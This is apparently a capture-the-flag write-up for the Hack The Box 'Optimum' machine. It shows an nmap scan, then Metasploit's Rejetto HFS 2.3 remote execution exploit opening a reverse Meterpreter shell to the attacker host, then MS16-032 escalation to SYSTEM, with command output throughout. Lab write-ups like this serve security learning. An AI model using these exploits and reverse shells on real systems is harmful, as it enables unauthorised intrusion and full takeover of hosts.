



BY YMTzioni

Nmap:

Target: 10.10.10.8

Command: nmap -T4 -A -v 10.10.10.8

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans

OS	Host	Port	Protocol	State	Service	Version
✓	10.10.10.8	80	tcp	open	http	HttpFileServer httpd 2.3

Web browser result:

HFS / 10.10.10.8

User Login

Folder Home

0 folders, 0 files, 0 bytes

Search

go

Select

All Invert Mask

0 items selected

Actions

Archive Get list

Server information

HttpFileServer 2.3
Server time: 28/2/2021 10:06:35 µµ
Server uptime: 00:02:25

No files in this folder

Now I will use this exploit:

<https://www.exploit-db.com/exploits/39161>

```
msf5 exploit(windows/http/rejetto_hfs_exec) > run
[*] Started reverse TCP handler on 10.10.14.9:4444
[*] Using URL: http://0.0.0.0:8080/6tKJVwfkJgFeD6o
[*] Local IP: http://192.168.1.150:8080/6tKJVwfkJgFeD6o
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /6tKJVwfkJgFeD6o
[*] Sending stage (176195 bytes) to 10.10.10.8
[*] Meterpreter session 1 opened (10.10.14.9:4444 → 10.10.10.8:49162) at 2021-02-22 13:05:30 +0200
[*] Tried to delete %TEMP%\RTzLienjgtEXoH.vbs, unknown result
[*] Server stopped.

meterpreter > getuid
Server username: OPTIMUM\kostas
meterpreter > █
```

User Flag:

```
meterpreter > ls -la
Listing: C:\Users\kostas\Desktop

Mode                Size      Type      Last modified          Name
----                -
40777/rwxrwxrwx      0        dir      2021-02-28 22:12:40 +0200 %TEMP%
100666/rw-rw-rw-    282      fil      2017-03-18 13:57:16 +0200 desktop.ini
100777/rwxrwxrwx  760320   fil      2014-02-16 13:58:52 +0200 hfs.exe
100444/r--r--r--    32      fil      2017-03-18 14:13:18 +0200 user.txt.txt

meterpreter > cat user.txt.txt
```

Privilege Escalation:

System info:

```
meterpreter > sysinfo
Computer           : OPTIMUM
OS                 : Windows 2012 R2 (6.3 Build 9600).
Architecture      : x64
System Language   : el_GR
Domain            : HTB
Logged On Users   : 1
Meterpreter       : x86/windows
```

After searching for the right exploit I found this one “ms16_032_secondary_logon_handle_privesc”

Lets try it on Metasploit:

```

meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(windows/http/royalito_hfs_exec) > use ms16_032_secondary_logon_handle_privesc
[*] Using configured payload windows/meterpreter/reverse_tcp

Matching Modules
=====
#   Name                                                                 Disclosure Date   Rank   Check   Description
-   -
0   exploit/windows/local/ms16_032_secondary_logon_handle_privesc 2016-03-21      normal Yes     MS16-032 Secondary Logon Handle Privilege Escalation

[*] Using exploit(windows/local/ms16_032_secondary_logon_handle_privesc
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 2
session => 2
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

```

```

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ls
Listing: C:\Users\kostas\Desktop

```

Root flag:

```

Listing: C:\Users\Administrator\Desktop
=====
Mode                Size      Type      Last modified          Name
-----
100666/rw-rw-rw-   282     fil      2017-03-18 13:52:56 +0200 desktop.ini
100444/r--r--r--    32     fil      2017-03-18 14:13:57 +0200 root.txt

```